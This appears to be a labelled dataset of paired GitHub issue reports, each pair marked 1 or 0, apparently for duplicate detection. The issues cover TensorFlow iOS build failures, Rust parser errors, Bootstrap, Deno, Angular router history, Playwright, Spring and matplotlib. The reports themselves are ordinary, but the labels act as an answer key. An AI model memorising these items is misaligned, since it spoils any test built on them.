<h3 dir="auto">System information</h3> <ul dir="auto"> <li><strong>MacOS High Sierra 10.13.2</strong>:</li> <li><strong>Python 3.6.3</strong>:</li> <li><strong>TensorFlow Latest Pull from 1/17/18</strong>:</li> </ul> <h3 dir="auto">Describe the problem</h3> <p dir="auto">I am following Pete Warden's TensorFlow for Mobile Poets guide and seem to have a found an error. When I run "tensorflow/contrib/makefile/build_all_ios.sh" after about 20 minutes it returns an error.</p> <p dir="auto">I have tried running lipo -info /Users/ryan/Downloads/tensorflow2/tensorflow/contrib/makefile/gen/protobuf_ios/lib/libprotobuf.a</p> <p dir="auto">and this returns:</p> <p dir="auto">Architectures in the fat file:<br> /Users/ryan/Downloads/tensorflow2/tensorflow/contrib/makefile/gen/protobuf_ios/lib/libprotobuf.a are: i386</p> <p dir="auto">I have the entire error script here:<br> <a href="https://drive.google.com/file/d/1JovTMGBJKbqzRPBzXy3cIQ-hbz76n0ab/view?usp=sharing" rel="nofollow">https://drive.google.com/file/d/1JovTMGBJKbqzRPBzXy3cIQ-hbz76n0ab/view?usp=sharing</a></p> <h3 dir="auto">Source code / logs</h3> <p dir="auto">ld: symbol(s) not found for architecture x86_64<br> clang: error: linker command failed with exit code 1 (use -v to see<br> invocation)<br> make: *** [/Users/ryan/Desktop/tensorflow-<br> master/tensorflow/contrib/makefile/gen/bin/ios_X86_64/benchmark] Error 1</p> <ul dir="auto"> <li>'[' 2 -ne 0 ']'</li> <li>echo 'x86_64 compilation failed.'<br> x86_64 compilation failed.</li> <li>exit 1</li> </ul>
<p dir="auto">I try to build tensorflow support at Android and iOS by makefile <a href="https://github.com/tensorflow/tensorflow/tree/master/tensorflow/contrib/makefile">tutorial</a> in current master branch <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/tensorflow/tensorflow/commit/04c318b69c5b565436cfeeaab1cb7fd5419dde27/hovercard" href="https://github.com/tensorflow/tensorflow/commit/04c318b69c5b565436cfeeaab1cb7fd5419dde27"><tt>04c318b</tt></a></p> <p dir="auto">When running the build_all_ios.sh script, the below error message show</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Undefined symbols for architecture x86_64: &quot;nsync::nsync_mu_init(nsync::nsync_mu_s_*)&quot;, referenced from: tensorflow::mutex::mutex() in env.o tensorflow::mutex::mutex() in random.o &quot;nsync::nsync_mu_lock(nsync::nsync_mu_s_*)&quot;, referenced from: tensorflow::mutex::lock() in env.o tensorflow::mutex::lock() in random.o tensorflow::mutex::lock() in histogram.o &quot;nsync::nsync_mu_unlock(nsync::nsync_mu_s_*)&quot;, referenced from: tensorflow::mutex::unlock() in env.o tensorflow::mutex::unlock() in random.o tensorflow::mutex::unlock() in histogram.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) make: *** [/Users/CSL.Peter/tensorflow/tensorflow/tensorflow/contrib/makefile/gen/host_bin/proto_text] Error 1 + '[' 2 -ne 0 ']' + echo 'armv7 compilation failed.' armv7 compilation failed. + exit 1"><pre class="notranslate"><code class="notranslate">Undefined symbols for architecture x86_64: "nsync::nsync_mu_init(nsync::nsync_mu_s_*)", referenced from: tensorflow::mutex::mutex() in env.o tensorflow::mutex::mutex() in random.o "nsync::nsync_mu_lock(nsync::nsync_mu_s_*)", referenced from: tensorflow::mutex::lock() in env.o tensorflow::mutex::lock() in random.o tensorflow::mutex::lock() in histogram.o "nsync::nsync_mu_unlock(nsync::nsync_mu_s_*)", referenced from: tensorflow::mutex::unlock() in env.o tensorflow::mutex::unlock() in random.o tensorflow::mutex::unlock() in histogram.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) make: *** [/Users/CSL.Peter/tensorflow/tensorflow/tensorflow/contrib/makefile/gen/host_bin/proto_text] Error 1 + '[' 2 -ne 0 ']' + echo 'armv7 compilation failed.' armv7 compilation failed. + exit 1 </code></pre></div> <p dir="auto">The <code class="notranslate">download_dependencies.sh</code> and <code class="notranslate">compile_ios_protobuf.sh</code> run successfully but <code class="notranslate">compile_ios_tensorflow.sh</code> failed. I find same issues <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="163769328" data-permission-text="Title is private" data-url="https://github.com/tensorflow/tensorflow/issues/3191" data-hovercard-type="issue" data-hovercard-url="/tensorflow/tensorflow/issues/3191/hovercard" href="https://github.com/tensorflow/tensorflow/issues/3191">#3191</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="175520820" data-permission-text="Title is private" data-url="https://github.com/tensorflow/tensorflow/issues/4252" data-hovercard-type="issue" data-hovercard-url="/tensorflow/tensorflow/issues/4252/hovercard" href="https://github.com/tensorflow/tensorflow/issues/4252">#4252</a> and seem to be fixed at <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="175904236" data-permission-text="Title is private" data-url="https://github.com/tensorflow/tensorflow/issues/4287" data-hovercard-type="pull_request" data-hovercard-url="/tensorflow/tensorflow/pull/4287/hovercard" href="https://github.com/tensorflow/tensorflow/pull/4287">#4287</a>, but this problem still happen.</p>
1
<p dir="auto">It seems like the parser tries to read the type where it isn't:</p> <div class="highlight highlight-source-rust notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="fn main() { let a : u32 = 0; let b : usize = 0; a as usize &gt; b; // ok a as usize &lt; b; // error: expected one of `(`, `+`, `,`, `::`, `&lt;`, or `&gt;`, found `;` }"><pre class="notranslate"><span class="pl-k">fn</span> <span class="pl-en">main</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> <span class="pl-k">let</span> a <span class="pl-kos">:</span> <span class="pl-smi">u32</span> = <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-k">let</span> b <span class="pl-kos">:</span> <span class="pl-smi">usize</span> = <span class="pl-c1">0</span><span class="pl-kos">;</span> a <span class="pl-k">as</span> <span class="pl-smi">usize</span> &gt; b<span class="pl-kos">;</span> <span class="pl-c">// ok</span> a <span class="pl-k">as</span> <span class="pl-smi">usize</span> &lt; b<span class="pl-kos">;</span> <span class="pl-c">// error: expected one of `(`, `+`, `,`, `::`, `&lt;`, or `&gt;`, found `;`</span> <span class="pl-kos">}</span></pre></div> <p dir="auto">I think it's rather strange that the operator <code class="notranslate">&gt;</code> works, but the operator <code class="notranslate">&lt;</code> doesn't at the same place.</p> <p dir="auto"><code class="notranslate">rustc 1.0.0-nightly (522d09dfe 2015-02-19) (built 2015-02-20)</code></p>
<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="lib.rs:11:21: 11:23 error: expected type, found token LIT_INT_UNSUFFIXED(16i64) lib.rs:11 if foo as int &lt; 16 {}"><pre class="notranslate"><code class="notranslate">lib.rs:11:21: 11:23 error: expected type, found token LIT_INT_UNSUFFIXED(16i64) lib.rs:11 if foo as int &lt; 16 {} </code></pre></div> <p dir="auto">The solution is of course to parenthesize the cast so it doesn't get parsed as generics, but the error message does not help at all.</p>
1
<p dir="auto">For example the button <code class="notranslate">.btn</code>, if the gradients was transparent gradient over the then it would be as simple job of changing the color instead of duplicating the all of browser hacks each time.</p> <p dir="auto">Code examples: <a href="http://stackoverflow.com/a/2293931/560287" rel="nofollow">http://stackoverflow.com/a/2293931/560287</a></p> <p dir="auto">From: <a href="http://www.colorzilla.com/gradient-editor/" rel="nofollow">http://www.colorzilla.com/gradient-editor/</a></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="background: -moz-linear-gradient(top, rgba(0,0,0,0.065) 0%, rgba(0,0,0,0) 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0.065)), color-stop(100%,rgba(0,0,0,0))); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* IE10+ */ background: linear-gradient(to bottom, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1c000000', endColorstr='#00000000',GradientType=0 ); /* IE6-8 */"><pre class="notranslate"><code class="notranslate">background: -moz-linear-gradient(top, rgba(0,0,0,0.065) 0%, rgba(0,0,0,0) 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0.065)), color-stop(100%,rgba(0,0,0,0))); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* IE10+ */ background: linear-gradient(to bottom, rgba(0,0,0,0.065) 0%,rgba(0,0,0,0) 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1c000000', endColorstr='#00000000',GradientType=0 ); /* IE6-8 */ </code></pre></div> <p dir="auto">Fiddle: <a href="http://plnkr.co/edit/A0j1eww3CEbmcKYzC74Z?p=preview" rel="nofollow">http://plnkr.co/edit/A0j1eww3CEbmcKYzC74Z?p=preview</a></p>
<p dir="auto">I have some modal windows in my Rails project. And I have a problem with background.</p> <p dir="auto">Generated HTML with duplicated background:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;div class=&quot;modal-backdrop fade in&quot;&gt;&lt;/div&gt; &lt;div class=&quot;modal-backdrop fade in&quot;&gt;&lt;/div&gt; &lt;/body&gt;"><pre class="notranslate"><code class="notranslate">&lt;div class="modal-backdrop fade in"&gt;&lt;/div&gt; &lt;div class="modal-backdrop fade in"&gt;&lt;/div&gt; &lt;/body&gt; </code></pre></div> <p dir="auto">I don't know what's wrong.</p> <p dir="auto">My gems</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="group :assets do gem 'sass-rails', '3.2.5' gem 'coffee-rails', '~&gt; 3.2.2' gem 'uglifier', '&gt;= 1.2.6' gem 'bootstrap-sass', '~&gt; 2.1.1.0' end"><pre class="notranslate"><code class="notranslate">group :assets do gem 'sass-rails', '3.2.5' gem 'coffee-rails', '~&gt; 3.2.2' gem 'uglifier', '&gt;= 1.2.6' gem 'bootstrap-sass', '~&gt; 2.1.1.0' end </code></pre></div>
0
<p dir="auto">deno run --unstable <a href="https://deno.land/posts/v1.8/webgpu_discover.ts" rel="nofollow">https://deno.land/posts/v1.8/webgpu_discover.ts</a><br> error: invalid utf-8 sequence of 1 bytes from index 6</p> <p dir="auto">Example from <a href="https://deno.land/posts/v1.8" rel="nofollow">https://deno.land/posts/v1.8</a></p> <p dir="auto">deno 1.8.0 (release, x86_64-pc-windows-msvc)<br> v8 9.0.257.3<br> typescript 4.2.2<br> windows 10</p>
<p dir="auto">cloudflare is rate limiting requests for the standard library and also thinks *.ts files are for video streaming</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$ curl -I https://deno.land/[email protected]/log/logger.ts HTTP/2 302 date: Wed, 03 Mar 2021 02:04:37 GMT set-cookie: // cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 expires: Thu, 01 Jan 1970 00:00:01 GMT location: https://www.cloudflare-terms-of-service-abuse.com/streaming.ts cf-request-id: // expect-ct: max-age=604800, report-uri=&quot;https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct&quot; report-to: // nel: {&quot;max_age&quot;:604800,&quot;report_to&quot;:&quot;cf-nel&quot;} server: cloudflare cf-ray: // alt-svc: h3-27=&quot;:443&quot;; ma=86400, h3-28=&quot;:443&quot;; ma=86400, h3-29=&quot;:443&quot;; ma=86400"><pre class="notranslate"><code class="notranslate">$ curl -I https://deno.land/[email protected]/log/logger.ts HTTP/2 302 date: Wed, 03 Mar 2021 02:04:37 GMT set-cookie: // cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 expires: Thu, 01 Jan 1970 00:00:01 GMT location: https://www.cloudflare-terms-of-service-abuse.com/streaming.ts cf-request-id: // expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" report-to: // nel: {"max_age":604800,"report_to":"cf-nel"} server: cloudflare cf-ray: // alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 </code></pre></div>
1
<p dir="auto"><strong>I'm submitting a ...</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[x] bug report [ ] feature request [ ] support request"><pre class="notranslate"><code class="notranslate">[x] bug report [ ] feature request [ ] support request </code></pre></div> <p dir="auto"><strong>Current behavior</strong><br> Returning <code class="notranslate">false</code> on CanDeactivate implementation influences browser history.<br> Seems to be leftover from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="167840766" data-permission-text="Title is private" data-url="https://github.com/angular/angular/issues/10321" data-hovercard-type="issue" data-hovercard-url="/angular/angular/issues/10321/hovercard" href="https://github.com/angular/angular/issues/10321">#10321</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="188882730" data-permission-text="Title is private" data-url="https://github.com/angular/angular/issues/12825" data-hovercard-type="issue" data-hovercard-url="/angular/angular/issues/12825/hovercard" href="https://github.com/angular/angular/issues/12825">#12825</a></p> <p dir="auto"><strong>Expected behavior</strong><br> Returning <code class="notranslate">false</code> on CanDeactivate implementation does not influence browser history.</p> <p dir="auto"><strong>Minimal reproduction of the problem with instructions</strong><br> Present in Angular Routing Demo plnkr:<br> <a href="https://angular.io/resources/live-examples/router/ts/eplnkr.html" rel="nofollow">https://angular.io/resources/live-examples/router/ts/eplnkr.html</a></p> <p dir="auto"><em>STEPS TO REPRODUCE</em>:</p> <ol dir="auto"> <li>Click "Crisis Center"</li> <li>Click Crisis Center 1, then 2, then 3</li> <li>Edit Crisis Center 3's "Name" in its details</li> <li>Press browser "Back" button, and press "Cancel" when confirm dialog pops up asking if you want to discard changes</li> <li>Press browser "Back" button again, but this time press "OK" when confirm dialog pops up asking if you want to discard changes</li> <li><em>RESULT:</em><br> You are taken back to Crisis Center 1 detail view instead of Crisis Center 2. If you press browser "Forward" button twice, you'll notice that both times you are taken to Crisis Center 3 detail view. The Crisis Center 3 detail view has essentially replaced the Crisis Center 2 detail view history entry.</li> </ol> <p dir="auto"><strong>What is the motivation / use case for changing the behavior?</strong><br> I press my browser's "Back" button but then choose to cancel navigation in order to first save pending changes. When I press my browser's "Back" button again, I should navigate to the previous page as if this was the first time I pressed my browser's "Back" button.</p> <p dir="auto"><strong>Please tell us about your environment:</strong><br> -Angular demo plnkr (also present in my own ng-cli v1.0.0.24-beta environment)<br> -Windows 10 x64</p> <ul dir="auto"> <li> <p dir="auto"><strong>Angular version:</strong> 2.4.1, Router 3.4.1</p> </li> <li> <p dir="auto"><strong>Browser:</strong> Chrome v55.0.2883.87 m (64-bit) (untested on others)</p> </li> <li> <p dir="auto"><strong>Language:</strong> TypeScript 2.0.10</p> </li> </ul>
<p dir="auto"><strong>I'm submitting a ...</strong> (check one with "x")</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[X ] bug report =&gt; search github for a similar issue or PR before submitting [ ] feature request [ ] support request =&gt; Please do not submit support request here, instead see https://github.com/angular/angular/blob/master/CONTRIBUTING.md#question"><pre class="notranslate"><code class="notranslate">[X ] bug report =&gt; search github for a similar issue or PR before submitting [ ] feature request [ ] support request =&gt; Please do not submit support request here, instead see https://github.com/angular/angular/blob/master/CONTRIBUTING.md#question </code></pre></div> <p dir="auto"><strong>Current behavior</strong><br> Currently, I have a deactivation guard on a route which will return false or true depending on a condition. To get to this guarded route, the user must pass though 3 navigation step. Now, once on the guarded route, when using <code class="notranslate">location.back()</code>, the guard is called. If it returns <code class="notranslate">true</code>, the previous route is loaded. If the guard returns false, the navigation is cancelled. But if we redo a Location.back() after a failed navigation, the previous route that will be loaded will be 2 steps in the history instead of 1 (user perception).</p> <p dir="auto">Workflow</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Main -- navigate to --&gt; Route 1 Route 1 -- navigate to --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns false --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 1 (should be Route 2)"><pre class="notranslate"><code class="notranslate">Main -- navigate to --&gt; Route 1 Route 1 -- navigate to --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns false --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 1 (should be Route 2) </code></pre></div> <p dir="auto"><strong>Expected behavior</strong><br> An expected behavior for a user would be that navigating back brings back to the previous routed page.<br> Workflow</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Main -- navigate to --&gt; Route 1 Route 1 -- navigate to --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns false --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 2 (expected)"><pre class="notranslate"><code class="notranslate">Main -- navigate to --&gt; Route 1 Route 1 -- navigate to --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 2 Route 2 -- navigate to --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns false --&gt; Route 3 Route 3 -- location.back() --&gt; guard returns true --&gt; Route 2 (expected) </code></pre></div> <p dir="auto"><strong>Minimal reproduction of the problem with instructions</strong><br> <a href="https://embed.plnkr.co/k1iX7PzmOre7P6ACtcur/" rel="nofollow">Plnkr</a></p> <ol dir="auto"> <li>Click button Nav to route1</li> <li>Click button Nav to route2</li> <li>Click button Nav to route3</li> <li>Click button Block Nav Back</li> <li>Click button Nav back <ul dir="auto"> <li>BOGUE: The location.back() routed on Route1 instead of Route2</li> </ul> </li> </ol> <p dir="auto"><strong>Personnal investigation</strong><br> After some investigation, I saw that in <code class="notranslate">routerState$.then</code> (<a href="https://sourcegraph.com/github.com/angular/angular@b5c4bf1c59c56d48b8a536aa61c7bd72d94c99fc/-/blob/modules/@angular/router/src/router.ts#L756" rel="nofollow">router.ts line 752</a>) this logic used when <code class="notranslate">navigationIsSuccessful == false</code> is pretty simply but it is the actual cause of this bug. Basically, when a deactivation guard is hit, the location of the browser is already changed to the previous route. Which means that when the guard returns false, the <code class="notranslate">routerState$</code> runs his logic and calls <code class="notranslate">resetUrlToCurrentUrlTree()</code>. At this point we can see that we replace the state of the current location. But by doing this, we loose that route in the history which means that in my plunker, if we click the block nav back 3 times and then click the nav back we will actually kill the application.</p> <p dir="auto"><strong>What is the motivation / use case for changing the behavior?</strong><br> This is for me a pretty big bug since a guard that returns false breaks alters the current routing history. In the case of our application this breaks the workflow and brings wrong business scopes to a user.</p> <p dir="auto"><strong>Please tell us about your environment:</strong></p> <p dir="auto">Windows 10, NPM, Nodejs, Visual Studio 2015 (using nodejs for typescript compilation)</p> <ul dir="auto"> <li> <p dir="auto"><strong>Angular version:</strong> 2.3.3</p> </li> <li> <p dir="auto"><strong>Browser:</strong> [ all ]</p> </li> <li> <p dir="auto"><strong>Language:</strong> [TypeScript 2.0.10 | ES5]</p> </li> </ul>
1
<h3 dir="auto">System info</h3> <ul dir="auto"> <li>Playwright Version: v1.34.1</li> <li>Operating System: macOS 13.2.1</li> <li>Browser: N/A</li> <li>Other info: Terminal, CLI, Node 18.16.0 LTS</li> </ul> <h3 dir="auto">Source code</h3> <p dir="auto"><strong>Config file</strong></p> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="// playwright.config.js const { defineConfig } = require('@playwright/test'); module.exports = defineConfig({ preserveOutput: 'failures-only', snapshotPathTemplate: '{testDir}/__snapshots__/{testFilePath}/{arg}{ext}', testDir: './assets', use: { viewport: { width: 1440, height: 900, }, }, });"><pre class="notranslate"><span class="pl-c">// playwright.config.js</span> <span class="pl-k">const</span> <span class="pl-kos">{</span> defineConfig <span class="pl-kos">}</span> <span class="pl-c1">=</span> <span class="pl-en">require</span><span class="pl-kos">(</span><span class="pl-s">'@playwright/test'</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-smi">module</span><span class="pl-kos">.</span><span class="pl-c1">exports</span> <span class="pl-c1">=</span> <span class="pl-en">defineConfig</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">preserveOutput</span>: <span class="pl-s">'failures-only'</span><span class="pl-kos">,</span> <span class="pl-c1">snapshotPathTemplate</span>: <span class="pl-s">'{testDir}/__snapshots__/{testFilePath}/{arg}{ext}'</span><span class="pl-kos">,</span> <span class="pl-c1">testDir</span>: <span class="pl-s">'./assets'</span><span class="pl-kos">,</span> <span class="pl-c1">use</span>: <span class="pl-kos">{</span> <span class="pl-c1">viewport</span>: <span class="pl-kos">{</span> <span class="pl-c1">width</span>: <span class="pl-c1">1440</span><span class="pl-kos">,</span> <span class="pl-c1">height</span>: <span class="pl-c1">900</span><span class="pl-kos">,</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span></pre></div> <p dir="auto"><strong>Test file (self-contained)</strong></p> <p dir="auto">Simple tests like:</p> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="test('builds CSS correctly', () =&gt; { expect(fs.readFileSync(`${PUBLIC_PATH}${MANIFEST['build/app/app.css']}`, 'utf-8')).toMatchSnapshot(); }); test('renders homepage correctly', async ({ page }) =&gt; { await page.goto('&lt;REMOVED_URL&gt;'); await expect(page).toHaveScreenshot({ fullPage: true }); }); // Etc..."><pre class="notranslate"><span class="pl-en">test</span><span class="pl-kos">(</span><span class="pl-s">'builds CSS correctly'</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-en">expect</span><span class="pl-kos">(</span><span class="pl-s1">fs</span><span class="pl-kos">.</span><span class="pl-en">readFileSync</span><span class="pl-kos">(</span><span class="pl-s">`<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">PUBLIC_PATH</span><span class="pl-kos">}</span></span><span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">MANIFEST</span><span class="pl-kos">[</span><span class="pl-s">'build/app/app.css'</span><span class="pl-kos">]</span><span class="pl-kos">}</span></span>`</span><span class="pl-kos">,</span> <span class="pl-s">'utf-8'</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">toMatchSnapshot</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-en">test</span><span class="pl-kos">(</span><span class="pl-s">'renders homepage correctly'</span><span class="pl-kos">,</span> <span class="pl-k">async</span> <span class="pl-kos">(</span><span class="pl-kos">{</span> page <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-k">await</span> <span class="pl-s1">page</span><span class="pl-kos">.</span><span class="pl-en">goto</span><span class="pl-kos">(</span><span class="pl-s">'&lt;REMOVED_URL&gt;'</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-k">await</span> <span class="pl-en">expect</span><span class="pl-kos">(</span><span class="pl-s1">page</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">toHaveScreenshot</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">fullPage</span>: <span class="pl-c1">true</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-c">// Etc...</span></pre></div> <p dir="auto"><strong>Steps</strong></p> <ul dir="auto"> <li>Run <code class="notranslate">npx playwright test</code> (executed by <code class="notranslate">yarn test</code>)</li> </ul> <p dir="auto"><strong>Expected</strong></p> <p dir="auto">To start running tests by executing <code class="notranslate">npx playwright test</code>, like it did in previous versions (<code class="notranslate">1.34.0</code> and down).</p> <p dir="auto"><strong>Actual</strong></p> <p dir="auto">Getting the following message:</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="➜ yarn test Please install @playwright/test package to use Playwright Test. npm install -D @playwright/test"><pre class="notranslate">➜ yarn <span class="pl-c1">test</span> Please install @playwright/test package to use Playwright Test. npm install -D @playwright/test</pre></div> <p dir="auto"><strong>Already rules out a few things</strong></p> <ol dir="auto"> <li>Reinstalling <code class="notranslate">@playwright/test</code></li> <li>Completely removing <code class="notranslate">node_modules</code> and reinstalling with <code class="notranslate">yarn</code></li> <li>Works with <code class="notranslate">yarn add @playwright/[email protected] -D</code></li> <li>Package <code class="notranslate">playwright</code> is not installed</li> </ol>
<h3 dir="auto">System info</h3> <ul dir="auto"> <li>Playwright Version: [v1.34.3]</li> <li>Operating System: [Ubuntu 22.04]</li> <li>Browser: Chromium</li> <li>Other info:</li> </ul> <p dir="auto">So I'm write a function to copy and paste a string for me from one block to another. It worked find in my local machine using Windows, worked on the old playwright docker image too. But After upgraded to the latest (jammy 22.04) the test failed and trace shows that the copy and paste step not work as expected.</p> <h3 dir="auto">Source code</h3> <p dir="auto"><strong>Steps</strong></p> <ul dir="auto"> <li>Highlight and Copy text by key.press("Control+C")</li> <li>Paste text to other field by key.press("Control+V")</li> </ul> <p dir="auto"><strong>Expected</strong></p> <p dir="auto">Pasted successfully</p> <p dir="auto"><strong>Actual</strong></p> <p dir="auto">There's nothing new pasted on the field</p>
0
<p dir="auto"><strong><a href="https://jira.spring.io/secure/ViewProfile.jspa?name=marie" rel="nofollow">Marieke Vandamme</a></strong> opened <strong><a href="https://jira.spring.io/browse/SPR-5046?redirect=false" rel="nofollow">SPR-5046</a></strong> and commented</p> <p dir="auto">There seems to be a bug while using hessian in combination with spring framework for remoting.<br> Outputstream is not closed correctly, and part of the serialized output data gets lost.</p> <p dir="auto">This does not occur while doing the same with hessian-only remoting, so this should probably be resolved within spring.</p> <p dir="auto">The missing "close" method should be placed in:<br> org.springframework.remoting.caucho.Hessian2SkeletonInvoker<br> Close method on output stream needs to be applied after method:<br> this.skeleton.invoke(in, out);</p> <p dir="auto">A test client &amp; server is included for simulation. Batch file launches the client, and war needs to be deployed in servlet engine running on 8080 (both on 1 computer). All source code is located in the "SpringHessianIssue.jar" file</p> <hr> <p dir="auto"><strong>Affects:</strong> 2.5.5</p> <p dir="auto"><strong>Issue Links:</strong></p> <ul dir="auto"> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398090056" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/9722" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/9722/hovercard" href="https://github.com/spring-projects/spring-framework/issues/9722">#9722</a> Hessian Ouput Stream gets cut off when used with spring: (<em><strong>"duplicates"</strong></em>)</li> </ul>
<p dir="auto"><strong><a href="https://jira.spring.io/secure/ViewProfile.jspa?name=pikus" rel="nofollow">Tomasz Pik</a></strong> opened <strong><a href="https://jira.spring.io/browse/SPR-4012?redirect=false" rel="nofollow">SPR-4012</a></strong> and commented</p> <p dir="auto">jee:jndi-lookup do not provide a way to define a default object (or at least documentation do not show how to setup such a thing, also xsd do not highlight any way to define it) so it cannot be used a as drop-in replacement for org.springframework.jndi.JndiObjectFactoryBean (there's no equivalent of setDefaultObject(Object)<br> please, provide such a possibility for jee:jndi-lookup</p> <hr> <p dir="auto"><strong>Issue Links:</strong></p> <ul dir="auto"> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398080153" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/8465" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/8465/hovercard" href="https://github.com/spring-projects/spring-framework/issues/8465">#8465</a> Add defaultObject attribute to jee:jndi-lookup tag (<em><strong>"is duplicated by"</strong></em>)</li> </ul>
0
<h3 dir="auto">Bug report</h3> <p dir="auto"><strong>Bug summary</strong></p> <p dir="auto">The matplotlib set_aspect(aspect='equal') command for 3D plots works perfectly well after the lines 1279:1282 in …\site_packages\matplotlib\axes_base.py (matplotlib 3.1.1) are commented out. With it, the plot maintains the 3D aspect ratio despite window resizing. This is the desired behavior for 3D plots where the axes aspect is important and was the behavior in matplotlib 3.0.3. NB: set_aspect does not establish the axes ratios; that must be done via calls to set_xlim3d(), set_ylim3d(), and set_zlim3d(). Perhaps the documentation for set_aspect should be modified to reflect its usage.</p>
